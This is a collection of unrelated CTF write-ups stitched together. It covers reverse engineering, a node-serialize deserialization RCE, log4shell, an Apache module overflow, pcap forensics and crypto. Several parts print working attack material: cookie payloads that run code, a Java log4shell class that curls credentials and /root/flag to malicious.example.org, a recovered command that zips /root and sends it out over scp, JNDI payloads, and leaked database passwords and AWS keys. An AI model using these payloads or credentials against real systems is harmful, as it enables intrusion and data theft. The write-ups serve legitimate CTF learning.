The first function seems to act as a set-up function by defining a global array with each index being equal to a hexadecimal value and passing the second function a seemingly random string. The second function then uses these and some local variables to make a command that gets executed by the system. We can reconstruct these functions in C.You can find my script in reverse.c in this github. When I run my script I get the following output:
```phpโโ$ ./a.out echo "Nope";v1="CTF{C0n7r0Ll1NG_";zip -r exf.zip /root/;scp exf.zip [emailย protected]:/yeet_data/;v2="5h3_5uppLy_";rm exf.zip;v3="Ch41n_15_7h3_K#Y!!!!}";echo "GG";```
revealing that our key is CTF{C0n7r0Ll1NG_5h3_5uppLy_Ch41n_15_7h3_K#Y!!!!} |
# Hack Holidays Airlines## The AppThe app represents an airline website. You can
- Sign up with a username, password and airline ticket number- Then sign in with the username and password- After that, the flight info will be displayed as a static image (it does not seem to contain any usefull information though at first glance)
## Code ReviewAfter downloading the offered code, I looked into the folder with the app. Some JavaScript files, our (fake) Flag (hurray! No guessing where I neet to search for) and the `package.json`. Ok, so I ran `npm install` aaaannnnd:
```bash[~/ctf/challenge]$ npm install
added 258 packages, and audited 259 packages in 17s
20 packages are looking for funding run `npm fund` for details
1 critical severity vulnerability
Some issues need review, and may require choosinga different dependency.
Run `npm audit` for details.
[~/ctf/challenge]$ npm audit # npm audit report
node-serialize *Severity: criticalCode Execution through IIFE in node-serialize - https://github.com/advisories/GHSA-q4v7-4rhw-9hqmNo fix availablenode_modules/node-serialize
1 critical severity vulnerability
Some issues need review, and may require choosinga different dependency.```
Wow, interesting! "Code Execution through IIFE in node-serialize", thats the description from the GitHub [security advisory](https://github.com/advisories/GHSA-q4v7-4rhw-9hqm). Damn, 9.8/10, this must be something. But what the heck is "IIFE"? Okay Google ... or just opening the directly linked Wikipedia article in the advisory saves few clicks.
- https://developer.mozilla.org/en-US/docs/Glossary/IIFE- https://en.wikipedia.org/wiki/Immediately_invoked_function_expression
After reading the advisory, it is clear thet `unserialize()` is the dangerous function here. Okay, let's remember that for later!
Were were we? Ah yes, review of the code. Ooops, just forgot about that and thought about this IIFE thing. But I have to calm down, you cant run before learning to crawl! So lets open it in VS Code and take a look. **No wait, a better idea!** Let's start the app first and see it in action. So lets try `npm run start` and ... rjagsdfgkafg!!!
```> [emailย protected] start> node .
node:events:505 throw er; // Unhandled 'error' event ^
Error: listen EACCES: permission denied 0.0.0.0:80 at Server.setupListenHandle [as _listen2] (node:net:1355:21) at listenInCluster (node:net:1420:12) at Server.listen (node:net:1508:7) at Function.listen (ctf/challenge/node_modules/express/lib/application.js:635:24) at Object.<anonymous> (ctf/challenge/index.js:39:5) at Module._compile (node:internal/modules/cjs/loader:1105:14) at Object.Module._extensions..js (node:internal/modules/cjs/loader:1159:10) at Module.load (node:internal/modules/cjs/loader:981:32) at Function.Module._load (node:internal/modules/cjs/loader:822:12) at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:77:12)Emitted 'error' event on Server instance at: at emitErrorNT (node:net:1399:8) at processTicksAndRejections (node:internal/process/task_queues:83:21) { code: 'EACCES', errno: -13, syscall: 'listen', address: '0.0.0.0', port: 80}```
Yikes, it tried to open a priviliged port. Okay then let's try `npm run dev` (oh BTW, you can find scripts executed by the `npm run` command in the `scripts` section of the `package.json`). Ahh, failed again. So I looked into our `index.js` and spotted `const port = process.env.PORT || 80;`. Ah, makes sense, so the command would be `PORT=8080 npm run ...`. Yeahhhh, worked. Oh, and a new file named `storage.db` appeared in our directory. Okay, lets take a look at the app.
![[app1.png]]Nothing special. So lets go on. Interested in what the database looks like? Me too. So let's see what database engine seemed to be used (guess it was SQLite), open `package.json` again and ... yes it is SQLite as the dependecies say. Ok let's open the file in "DB Browser for SQLite":
![[db_user_table.png]]
Ok, nothing special at first. Although the `id` is weird. Just a ... double as a varchar?? Yeah, let's don't ask why exactly and just continue by reviewing the source now.
Firs't, let's open the `routes folder` which contains:
- index.js- login.js- logout.js- signup.js
Pretty clear what they do, no spaghetti code, yay! So let's open index and ...
```javascriptvar cookieParser = require('cookie-parser');var escape = require('escape-html');var serialize = require('node-serialize');
module.exports = (app, globalConfig) => { app.use(cookieParser())
app.get('/', function(req, res) { if (req.cookies.session) { authorized = true;
var cookieValue = new Buffer(escape((req.cookies.session)), 'base64').toString(); var userInfo = serialize.unserialize(cookieValue);
if (userInfo.username) { res.render('index', { title: 'Home', username: userInfo.username , authorized: authorized}); } } else { authorized = false; res.render('index', { title: 'Home', authorized: authorized }); } });};```
Well, this was not what I expected. **RED ALERT!** `unserialize()`. So, the cookie is a serialized JS object which contains the user info. So if we control the cookie => BOOM! Remote Code execution. So let's see if we can execute a malicious payload ...
## Tried soloutionsFirst, let's try a basic Unserialize without Cookies and all that stuff. Just an additional javascript file with our tests:
```javascriptlet serialize = require("node-serialize");
let serializedPayload = serialize.serialize({ username: (function () { console.error("a malicious payload was executed! H4CK3D!!!"); })()});
console.log(serializedPayload);
let unserializedPayload = serialize.unserialize(serializedPayload);```
And yeah, this works without a problem. So I can craft the malicious payload (at least I thought so).
The payload needs to read our flag file and return the result as the username, so that we can see it in our website. Remember, it's shown there already as "Welcome xxx".
```javascriptlet serialize = require("node-serialize");
let payload = { username: (() => { let fs = require("fs"); let flag = fs.readFileSync("./flag").toString("utf-8"); console.log(flag); return flag;
})()};
let serializedPayload = serialize.serialize(payload);console.log(serializedPayload);let unserializedPayload = serialize.unserialize(serializedPayload);```
Aaaand ... oh, I made a stupid mistake!
### Problems
#### Payload was executed BEFORE serializationYeah, as the heading says, the payload was not serialized there and only executed before serializing. I mean makes sense because the function is executed. So I experimented a bit and looked up documentation.
https://github.com/luin/serialize
Oh, this is how functions can be executed. The function is encoded into the string and then gets executed.
### Solution
```javascriptlet serialize = require("node-serialize");
let payload = `{ "username": "_$$ND_FUNC$$_function (){let fs = require('fs');let flag = fs.readFileSync('./flag').toString('utf-8');console.log('Flag is: ' + flag);return flag;}()"}`;
let unserializedPayload = serialize.unserialize(payload);console.log(unserializedPayload.username);
console.log("Your payload cookie will be: " + new Buffer(payload, "utf-8").toString("base64"));```
We can set the resulting payload shown in the console as our `session` Cookie:
![[exploit_dev_environment.png]]
## Attack real targetAttacking the sandbox gave me the flag without any problems
## Better solution (after solving)```javascriptlet serialize = require("node-serialize");
let payload = { "username": function () { let fs = require('fs'); let flag = fs.readFileSync('./flag').toString('utf-8'); console.log('Flag is: ' + flag);
return flag; }};let serializedPayload = serialize.serialize(payload);serializedPayload = serializedPayload.replace('}"}', '}()"}');console.log("Serialized payload: " + serializedPayload + "\n");let unserializedPayload = serialize.unserialize(serializedPayload);console.log(unserializedPayload.username);
console.log("Your payload cookie will be: " + new Buffer.from(serializedPayload, "utf-8").toString("base64"));```
Can serialize the payload istself without hand crafting. |
Searching for hexahue on Google, we find it is an uncommon way of using colors to represent alphabets. The image given is an extremely horizontally long image, with 5 10x10 square in each column. The first and last square in each column is white.
Using the two scripts I created, I was able to find a message hidden (My first script was half-broken, so I had to change the offset and combine the outputs using the second script)
TTHEE MMESSSAAGEE YYOUU SSEEEK ISS IIHAATEEHEEXAAHUUESSOMMUCCHPPLEEASSEHHELLP
As mentioned earlier, my script was half broken, so we need to remove all the duplicate letters, and we can successfully obtain the flag.
Flag: vsctf{IHATEHEXAHUESOMUCHPLEASEHELP} |

# challenge.py
```pyimport gdb
class HelloPy(gdb.Command): def __init__(self): super(HelloPy, self).__init__('hello_py', gdb.COMMAND_USER)
def invoke(self, _unicode_args, _from_tty):
alf = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_+?{}'
# 0x555555555914 break
w = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' a = 0
while a < 58: x = 0 while True: ww = list(w) ww[a] = alf[x] gdb.execute(f"r <<< {''.join(ww)}") for i in range(a): gdb.execute('c')
if int(gdb.parse_and_eval("$rbx")) == int(gdb.parse_and_eval("$rax")): w = ''.join(ww) print(w) a += 1 break x += 1
HelloPy()```

# FLAG
**`vsctf{1_b37_y0u_w1LL_n3v3r_u53_Func710n4L_C++_1n_ur_L1F3?}`**
|

This challenge was label as beginner and was worth 50 points.
We had acces to this [shield designer](https://portal.hackazon.org/#!/shielddesigner) and were supposed to reproduce this shield :
***
The worst thing with this one is that we couldn't find the flag despite all our efforts, till we saw a write up of the Hacky holidays 2021 with the same Teaser. [here](https://youtu.be/hY446_xs-DE?t=56)
The only thing we had to do was to find the **hidden boutons** for the shapes and the color in the html. We felt really dumb ;-;
After making them **visible** just by changing their names you would have a lot more choice :

And after puting the right colors and shapes we had the following :

> CTF{4DM1N_4PPR0V3D} |
# Cloud Escalator part 1## The AppCloud Escalator shows just an image with "Under Construction" on the start page.
## Exploring contentFirst I explored the site by opening it with ZAP Proxy.
### Path /Nothing
### Path /logout
### Path /loginThere is a login form which can submit username and password. Login with `admin` `admin` is not possible and shows a `The username and/or password are not valid` message. There is a `Forgot password` link which goes to `/forgotpassword.html`
The passwords from the database do not seem to be crackable with Hashcat (not a top 1.000.000 password + no result after 7 character brute force).
SQL Injection does not seem to work.
### Path /forgotpassword.htmlThis site has some JavaScript which is does not work:
```javascriptfunction errorMessage() { var error = document.getElementById("error") if (isNaN(document.getElementById("number").value)) { // Complete the connection to mysqldb escalator.c45luksaam7a.us-east-1.rds.amazonaws.com. Use credential allen:8%pZ-s^Z+P4d=h@P error.textContent = "Under Construction" error.style.color = "red" } else { error.textContent = "Under Construction" }}```
Another thing to note except the database credentials is the `JSESSIONID` cookie.
Custom header `ETag: W/"1562-1656070092000"` also might be interesting (https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/ETag Spoiler: It is not).
Trying to submit a username from the database does not seem to do something.
### Path /adminHTTP 404, shows an Apache Tomcat default HTTP 404 error.
### Path /dashboardHTTP 404, shows an Apache Tomcat default HTTP 404 error.
### DatabaseOpenening the database reveals some shemas:
- accounts- config- env- innodb- sys- users
#### Database schema users##### Table dataReveals a Flag.
##### Table employees_loginContains `Emp_id`, `User_name` and `Password`. The passwords are hashed with SHA1.
##### Table employeesContains some personal data about the employees. `Email`s are all `@dummy.com` and `Date_of_Birth` is all `0000-00-00`.
#### Database schema env##### Table gitContains an OpenSSH private key.
#### Database schema config##### Table aws_envContains:
- `user` = `s3user1`- `access_key` = `AKIAWSXCCGNYFS7NN2XU`- `secret` = `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`
#### Database schema accounts##### Table employees_accountContains `Emp_id`, `Username`, `Account_number`
### Amazon S3The crdentials in the `aws_env` table can be used to access an Amazon S3 bucket with. Download is possible with AWS CLI (after `aws configure`): `aws s3 cp s3://escalator-logger-armour/ ~/Dokumente/CTFs/Hack\ Holidays\ -\ Unlock\ the\ City\ 2022/Web/Cloud\ Escalator/s3 --recursive --include "*"`
It contains a tomcat log. After analyzing it, I saw another flag:
`23-Jun-2022 12:50:31.561 INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent APR capabilities: CTF{example_flag}`
After some more analyzing, I stumbled on this suspicious line:
`23-Jun-2022 12:50:31.551 ERROR [main] unable to pull update from github.com/cloudhopper-sec/app.git`
The repository is not accessible on GitHub. However, the account exists.
### GitHub RepositoryGitHub repository can be cloned with the command `bash core.sshCommand="ssh -i ~/location/to/private_ssh_key"`
The SSH key is the one leaked from the database.
The repository contains the source code of the challenge including a Dockerfile.
### Apache TomcatThe Tomcat servers version might be vulnerable to Remote Code Execution via a malicious `PUT` of a JSP (https://nvd.nist.gov/vuln/detail/CVE-2017-12617).
I tried it but the server is not vulnerable and forbids `PUT` requests.
## Code ReviewThe Java Servlet has `log4j` 2.14.1 as a dependency, which is vulnerable to Remote Code Execution via JNDI (Java Naming and Directory Interface).
Looking at the code, `ProfileServlet.java` logs the content of a `debug` Cookie value. This can be used to perform a log4shell attack. However, this is only possible if the user is logged in.
JNDI payload:`Payload - ${jndi:ldap://172.17.0.1:2022/foo}`
base64 encoded (for Cookie):`VGVzdCAtICR7am5kaTpsZGFwOi8vMTcyLjE3LjAuMToyMDIyL2Zvb30`
In the Docker environment, the username and password are set to an empty string. However, this is not the case in production, maybe username or password are the flag. The user is identified by a SHA256 hash which is `SHA256(username + password)`. The Database credentials don't work.
Tomcat does not use log4j so it is not vulnerable to malicious user input. Other libraries also don't use log4j.
## Exploiting log4j for the flag (after challange for testing)(Note: I was to lazy to write a beautiful Java code)
```javapublic class RcePayload { private static final String HOST = "http://malicious.example.org";
public RcePayload() { try { Class cookieHandlerClass = Class.forName("com.cloudEscalator.util.CookieHandler"); Field usernamField = cookieHandlerClass.getDeclaredField("USERNAME"); usernamField.setAccessible(true); Field passwordField = cookieHandlerClass.getDeclaredField("PASSWORD"); passwordField.setAccessible(true);
String username = (String) usernamField.get(null); String password = (String) passwordField.get(null);
System.out.println(String.format("Username: %s Password: %s", username, password));
// Send username and password to malicious server String command = String.format("curl --insecure %s/?username=%s&password=%s", RcePayload.HOST, username, password); System.out.println(command); Process p = Runtime.getRuntime().exec(command); p.waitFor(); InputStream errorStream = p.getErrorStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(errorStream)); String line; while ((line = reader.readLine()) != null) { System.out.println(line); }
reader.close();
// Send flag to malicious server File flagFile = new File("/root/flag"); Scanner myReader = new Scanner(flagFile); String content = ""; while (myReader.hasNextLine()) { line = myReader.nextLine(); content += line + "\n"; } myReader.close();
String command2 = String.format("curl --insecure %s/?flag=%s", RcePayload.HOST, URLEncoder.encode(content, StandardCharsets.UTF_8.toString())); System.out.println(command2); Process p2 = Runtime.getRuntime().exec(command2); p2.waitFor(); InputStream errorStream2 = p2.getErrorStream();
BufferedReader reader2 = new BufferedReader(new InputStreamReader(errorStream2)); String line2; while ((line2 = reader2.readLine()) != null) { System.out.println(line2); }
reader2.close(); } catch (Exception e) { e.printStackTrace(System.out); } }}```
|
# BSides TLV CTF 2022 - [https://ctf22.bsidestlv.com/](https://ctf22.bsidestlv.com/)Pwn, 200 Points
## Description

Attached file [mod_pwn.tar.gz](./mod_pwn.tar.gz)
## mod_pwn Solution
By extracting the tar.gz file we can the following files:```consoleโโ[evyatar@parrot]โ[/ctf/2022_bsidestlv/pwn/mod_pwn]โโโโผ $ tree.โโโ Dockerfileโโโ httpd.confโโโ Makefileโโโ mod_pwnable.cโโโ mod_pwnable.soโโโ mod_pwn.tar.gz
0 directories, 6 files```
By observing the source code we can see the flag on the static variables:```c...#define ERR_NAME_TOO_LONG -1#define MAX_NAME_SIZE 128 const char flag[] = "BSidesTLV2022{n4g3_0v3r_http_i5_n3x7_g3n_h4ck1ng_pewpew}}";const char footer[] = "\n<hr /> can u pwn me?\n\n";...```
We can see also the following function:```cstatic int pwnable_handler(request_rec *r){ /* Init welcome object */ welcome_msg_obj welcome_msg; memset(&welcome_msg, NULL, sizeof(welcome_msg)); welcome_msg.suffix = &footer; strcpy(welcome_msg.color, "blue");
/* Set the appropriate content type */ ap_set_content_type(r, "text/html"); /* Verify HTTP request method */ if (strcmp(r->method, "GET") == OK) { ap_rputs("<h1>BSidesTLV 2022 Apache module!</h1> ", r); if (r->args) { fetch_name_param(r, &welcome_msg.name); ap_rprintf(r, "Welcome, <font color='%s'>%s</font> \n\n%s", welcome_msg.color, welcome_msg.name, welcome_msg.suffix); } else { ap_rprintf(r, "<form>\n"); ap_rprintf(r, "Enter your name: <input type='text' name='name'> -> <input type='submit' />\n"); ap_rprintf(r, "</form>\n"); } } return OK;}```
As we can see, ```welcome_msg.suffix``` get the address of ```footer``` which locate on the memory near the flag.
Next, We can see [Buffer Overflow](https://ctf101.org/binary-exploitation/buffer-overflow/) on ```fetch_name_param``` function:```cstatic void fetch_name_param(request_rec *r, char *out) { char *name = &r->args[5]; // skipping the "?name=" prefix if(strlen(name) > sizeof(welcome_msg_obj)) { char *msg = apr_palloc(r->pool, MAX_NAME_SIZE); // CTF Note: The way `apr_palloc` works should NOT be a concern when trying to solve this challenge. Treat it as if it was a traditional `malloc` call. sprintf(msg, "Error, name too long: %.16s...", name); raise_error(ERR_NAME_TOO_LONG, out, msg); } else { memcpy(out, name, strlen(name)); } ap_unescape_urlencoded(out);}```
The function doesn't check the length of ```name``` before calling to ```memcpy``` function.
```memcpy``` get three params, ```out``` which is ```welcome_msg.name``` which is the source, ```name``` which is the user input as dest, and the length of ```name```.
```welcome_msg_obj``` struct is:```ctypedef struct _welcome_msg_obj { char name[MAX_NAME_SIZE]; char *suffix; char color[32];} welcome_msg_obj;```
We can see that ``name``` locate before ```suffix``` on the memory, Meaning that we can overwrite the ```suffix``` variable.
Because ```suffix``` locate close to the ```flag``` on the memory we can overwrite the last byte of ```suffix``` to make ```suffix``` point to the ```flag``` variable.
We can imagine this like that in the memory:```...&flag 0x006b7b3c&footer 0x006b7b78 ...```
Because we can overwrite ```suffix``` variable (which point to the address of ```footer```) we can make ```suffix``` to point on the flag.
```suffix``` varbile is print to the page on ```pwnable_handler``` function:
```cstatic int pwnable_handler(request_rec *r){ ... ap_rprintf(r, "Welcome, <font color='%s'>%s</font> \n\n%s", welcome_msg.color, welcome_msg.name, welcome_msg.suffix); } ... return OK;}```
So we just need to send ```128``` bytes to fill ```name``` array and then we need to send another byte to overwrite the last byte of ```suffix``` to get the flag.
Because we don't know what is the flag size we need to do a type of brute force.
After a few guessing, we found the character ```+``` is the offset between ```suffix``` to ```flag```.
We can get the flag by sending the following HTTP request:```HTTPGET /ctf?name=yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy+ HTTP/2Host: mod-pwn.ctf.bsidestlv.comCookie: bsidestlv-ctf-session=5fb7eed40a3353355d5070baf624f3df|6249ddd6c7fc469ba9a96304f8d57c7bSec-Ch-Ua: "Chromium";v="103", ".Not/A)Brand";v="99"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://mod-pwn.ctf.bsidestlv.com/ctfAccept-Encoding: gzip, deflateAccept-Language: he-IL,he;q=0.9,en-US;q=0.8,en;q=0.7
```
Response:```HTTP/2 200 OKDate: Sat, 02 Jul 2022 22:19:55 GMTContent-Type: text/htmlContent-Length: 280Set-Cookie: bsidestlv-ctf-session=ed0838bcfaa56e3df80f9b6edceb7d6d|6249ddd6c7fc469ba9a96304f8d57c7b; Max-Age=360; Path=/; Secure; HttpOnlyStrict-Transport-Security: max-age=15724800; includeSubDomains
<h1>BSidesTLV 2022 Apache module!</h1> Welcome, <font color='blue'>yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy a?o</font> BSidesTLV2022{pwn4g3_0v3r_http_i5_n3x7_g3n_h4ck1ng_pewpew}```
And we get the flag ```BSidesTLV2022{pwn4g3_0v3r_http_i5_n3x7_g3n_h4ck1ng_pewpew}```. |
[Original writeup](https://github.com/piyagehi/CTF-Writeups/blob/main/2022-Unlock-The-City/bring-in-the-cavalry.md) (https://github.com/piyagehi/CTF-Writeups/blob/main/2022-Unlock-The-City/bring-in-the-cavalry.md) |
Basically, the load balancer for other challenges had a bug (CVE-2022-23632) where if you used an FQDN, you could bypass mutual TLS and access the backend directly to bypass cloudflare. There was also an alternative solution involving cloudflare class E pseudo IPv4 addresses.
See https://blog.bawolff.net/2022/07/write-up-dicectf-2022-flare-and.html for full discussion |

This challenge was label as esay
We were given a two pcapng files : [modbus.pcapng](./files/modbus.pcapng) and [network.pcapng](./files/network.pcapng).
## **1st Flag (30 points)**
> "The file shows communication between a PLC and an ICS workstation. Analyze the file to get the flag! (use modbus.pcapng)"
The first one was pretty easy. I opened the file in Wireshark, and without looking at what was happening I just tried basic investigation and filtered by data. Quick look in the packets and I found this :

> CTF{Hacky_Holidays_ICS}
## **2nd Flag (20 points)**
> "There seems to be some suspicious activity in the network. Can you identify the IP address of the rogue ICS component? (use network.pcapng)"
I found this one after the third and since the description deals with MITM and ARP, I filtered only the arp packets.We can notice some interesting info :

First we see that 00:0c:29:2a:0b:dd is sending a lot of ARP packets to the broadcast address saying he's 192.168.198.138.

And that there is detection of a duplicate use of 192.168.198.138. This really looks like an ARP spoofing attack. Just finding what's the IP address of 00:0c:29:2a:0b:dd with this filter : **eth.src == 00:0c:29:2a:0b:dd** and we get the flag. (for this one we didn't have to use the flag template)
> 192.168.198.128
## **3rd Flag (20 points)**
> "What is the protocol used in the Man-in-the-Middle attack performed by the rogue ICS component in this network? (use network.pcapng), Flag format CTF{protocol_in_capital_letters}"
Since MITM are usualy performed thanks to ARP, I tried ot and it worked !
> CTF{ARP}
## **4th Flag (30 points)**
> "The rogue component is communicating with an external entity, which is a big red flag in ICS environments. Can you find the flag from the network data?(use network.pcapng)"
This one was a little harder but using this filter : **eth.src == 00:0c:29:2a:0b:dd && ip.dst != 192.168.198.0/16** which filter packages who were send by the mac address **00:0c:29:2a:0b:dd** and received by an ip outside the **192.168.198.0/24** network. We can find VNC connextions between .198.128 and .178.28. Following the stream, and we see the base64 of a picture :

I just put it in a online base64 to Image converter like [this one](https://codebeautify.org/base64-to-image-converter) and here it is :

> CTF{5ERVER_15_H3R3} |
# Cloud Escalator Part 1, 300 points
## Flag 1 - 25 points
I started by poking around the site for leads.
I found a `/login` page as well as a `/forgotpassword.html` page, and in the source code of this page we find:
> // Complete the connection to mysqldb escalator.c45luksaam7a.us-east-1.rds.amazonaws.com. Use credential allen:8%pZ-s^Z+P4d=h@P
So I tried to connect to the mysql db with the command `mysql -u allen -h escalator.c45luksaam7a.us-east-1.rds.amazonaws.com -p`
To navigate through the different db's, we need to do `show databases;` | `use 'db';` | `show tables;` | `show tables;` | `select * from 'table';`
And in the users db, we find the data table which contains :
**Flag 1: CTF{!_p@wn3d_db_4_fu9}**
## Flag 2 - 50 points
Digging in the db, we also find a key aws (`AKIAWSXCCGNYFS7NN2XU | m6zD41qMXR4KlcyjXAIxdYrDm0YczPIiyi1p9P0I`)
I used this [write up](https://github.com/piyagehi/CTF-Writeups/blob/main/2021-Space-Race/1-Locked-Out.md) to find the second flag.
I installed aws-client and was able to download the file `Logs.txt`.
In this one we have the second flag,
**Flag 2: CTF{S3eing_T3r0ugh_!t}**
## Flag 3 - 75 points
In the mysql db, there was also an openssh private key in the git table, and there is mention of a github repository in `Logs.txt` (github.com/cloudhopper-sec/app.git).
So I used [this tutorial](https://superuser.com/questions/232373/how-to-tell-git-which-private-key-to-use) to clone a github repository while using an openssh private key.
`git clone [emailย protected]:cloudhopper-sec/app.git`
And then I searched in the files for the flag.
Here are two unassigned variables in the CookieHandler.java file:

So I said to myself that they were assigned in a previous commit.
(to list all the commits, `git log` and to switch from one commit to another, `git checkout 'commit hash'`)
And if you look through the previous commits, you will find :

Tada! We can then connect to the site to get our flag:

**Flag 3: CTF{Y0u_G0t_A_l3ak}**
## Flag 4 - 150 points
And this is where the problems start.

This is the log4j java library. If you don't know it, you should know that thanks to it an attacker is able to get a shell without too much difficulty.
For that, the user's input must be read by this library. The only place where this is the case in all these files is here:

On the `profile` page (accessible when logged in), the program checks if there is a debug cookie and if so, reads its content in base64.
I started by testing the vulnerability with the [log4shell.tools](https://log4shell.tools) site.
My test exploit:
`${jndi:ldap://e61de143-90b5-4a8d-afb5-eea3c5b75db9.dns.log4shell.tools:12345/e61de143-90b5-4a8d-afb5-eea3c5b75db9}`
Into base 64:
`JHtqbmRpOmxkYXA6Ly9lNjFkZTE0My05MGI1LTRhOGQtYWZiNS1lZWEzYzViNzVkYjkuZG5zLmxvZzRzaGVsbC50b29sczoxMjM0NS9lNjFkZTE0My05MGI1LTRhOGQtYWZiNS1lZWEzYzViNzVkYjl9`
Into 'debug' cookie :

The site detects a request, which makes it a Log4Shell vulnerability discovery!
So I used this fantastic [tool](https://github.com/kozmer/log4j-shell-poc), ran an `nc -lnvp 9001` and boom!
We get a shell !

so I did :
`ls /`
`ls /root`
`cat /root/flag`

**Flag 4: CTF{H3aT_th3_L0GF0rg3}**
Thanks for reading! |

This challenge was label as hard and was worth 300 points
We were given a simple pcapng file : [techinical-debt.pcapng](./files/technical-debt.pcapng).
After oppening it in Wireshark we see that there is a lot of encypted data send over SSL, and some request/response made with AFP.Quick research tells us that AFP (Apple Filing Protocol) is file sharing protocol used on Macintosh.
By looking at the AFP packets we can find the name of a file : **image1** and some strange responses :



All the RESponse transaction contain 582 bytes of data and are reassembled in the FPRead reply.In the first place 4608 bytes are transfer, than 2919 and finally 501.
At this point my strategy was to get all the hexadecimal datas transfered after the FPRead requests, turn them into bytes, and hope I could open the final output.
Using this [tiny python script](./files/hex2bytes.py) over this [file](./files/hexa) I was able to get the [following](./files/test.pntg).
However I wasn't able to open it and the file command was telling me that it only contains data. But after looking again in the pcapng file I discovered that the file was a MacPaint image data (PNTG) and that it could be open with Quicktime (https://discussions.apple.com/thread/6900064)
Changing OS ...
Downloading Quicktime for Windows ...
And Tadam:

> CTF{AppleTalksAppleTalk}
I really liked this challenge cause I first thought it would be to hard but finally he was really cool to solve and wasn't that difficult. ? |

This challenge was label as easy and was worth 100 points
We were given a single file : [message.txt](./message.txt)
The file contains a crypted message (C), an N value and an E value. It's obviously an RSA cypher, you can decode it [here](https://www.dcode.fr/chiffre-rsa). We first decoded it as clear text but we got this output : **๏ฟฝ๏ฟฝ๏ฟฝ]๏ฟฝ$Eร๏ฟฝ๏ฟฝL3รยถยฅyยน?m**, and after a long time trying different ways to get the flag, turns out we have to decode it as an integer, which gave us : **67084070123082083065095098114048107101110125**.
The output integer is in fact multiple ascii numbers : (you can recognize the flag template thanks to 123 and 125 cause they stand for "{" and "}" )
**67 84 70 123 82 83 65 95 98 114 48 107 101 110 125**
and it gives us :

> CTF{RSA_br0ken}
|

This challenge was label as hard
|> [1st Flag](#1st-flag-25-points) |> [2nd Flag](#2nd-flag-25-points) |> [3rd Flag](#3rd-flag-50-points) |> [4th Flag](#4th-flag-50-points) |> [5th Flag](#5th-flag-200-points)
Started the backend system and we had this interface and this manual :
As said in the manual we have to bring the ships safely back to the port using websockets.
Since I forgot to save the file of the first four flags, I'm just gonna explain how to connect and control the ships using websockets, explain the strategies I used and share with you my code for the last flag (don't expect something crazy, I solved it the worst way possible).
## **1st Flag (25 points)**
First we have to connect and send : **{"type": "START_GAME", "level": 1}**.
It can be done using this script :

Don't forget to put **wss** at the start your url and **/ws** at the end. Also notice that **it didn't worked for me in python 3.10** so i used 3.9
After running this script the map change into this :
Basiclly, the ship is mooving straightforward, bouncing on the edges and explode when hitting the rocks.We also receive a lot of informations about the direction, speed, position, id, name of the ship and the position of the rock border and the port.
In order to move to ship we can send : **{"type": "SHIP_STEER", "shipId": int}** with the id of the ship, however it only turn the ship to the left. So if you want the boat to turn to the right you have to send it 3 times.
To control the ship I made something like that :

Just put the ship in the port, break the loop, print what's received and when the ship is in the harbour you should receive this : **{"type":"WIN","flag":"CTF{CapTA1n-cRUCh}"}**
> CTF{CapTA1n-cRUCh}
## **2nd Flag (25 points)**
In order to access the second lvl you have to send this to start the game : **{ "type": "START_GAME", "level": 2, "password": [PREVIOUS_LEVEL_FLAG_HERE] }**
For this one the map looks like this:
We have 3 ships and we have to respect the order which is the smaller id first.
So, for the next flags i think we were supposed to code something that would check the ships and the obstacles positions and automaticly leads them to the port without any colisions. However i didn't want to do that since i thought it would be too long and complex, thus for the next flags i just blocked the ships somewhere in the map and control them by hand when it was their turn to go. (I know it's like the worst way to solve a programation challenge)
So for this one i bind a key to each ship and manage to put them horizontally so they would bounce on the edges, and lead the required one manually to the port.
> CTF{capt41n-h00k!}
## **3rd Flag (50 points)**
For this one the map looks like this:
We have 3 ships, the edges are still bouncing but now there is rocks in the sea
The strategy i used here was to make the boats spin on themselves indefinitely, by pressing a key i would take the control of the next ship and it would stop spining, then I would lead it manually to the port without knocking the rocks
> CTF{c4pt41N-m0rG4N}
## **4th Flag (50 points)**
The map looks like this:
We have 4 ships, the edges don't bounce no more and there is rocks
The strategy i used here was the same as before : make the boats spin, lead them to the port by hand.
> CTF{C4pt41N-4MErIc4}
## **5th Flag (200 points)**
The map looks like this:
We have 6 ships, edges don't bounce and there is a ton of rocks especially in front of the port.
For this one i couldn't use the spin strategy cause some ships are too close of the rocks. So i just tried to block them at the bottom of the map by getting their y positions and making them turn around when they were to close of the edges.
Yet, I couldn't make it work in one script so i had to make two of them : [port.py](./files/port.py) and [move.py](./files/move.py).
Port.py is starting the game, placing the ships vertically and making sure they're not getting out of the defined zone.
Move.py is in charge of moving the ships.
Basiclly how this work is that you open two terminals to run both of the scripts, you can start with the one you want it doesn't change anything, just wait till the ships are bouncing a the bottom. To move a ship you just got to input anything to port.py and he will stop making the next ship bounce, then you can use these key in move.py to move it:
* **a** : turn the ship to the left for every "a" you input.* **e** : stop listening to your input and juste print everything it receive.* **z** : will automatically put the ship in the port when positioned in the green square like the red arrow:
> CTF{CaPT41n-j4Ck-sp4rR0w}
I know it's not really clear, sometime the ships are still hitting the edges, the scripts are pretty messy and it's 100% the worth way to flag the last one but anyways it works sometimes and i had fun doing it. |
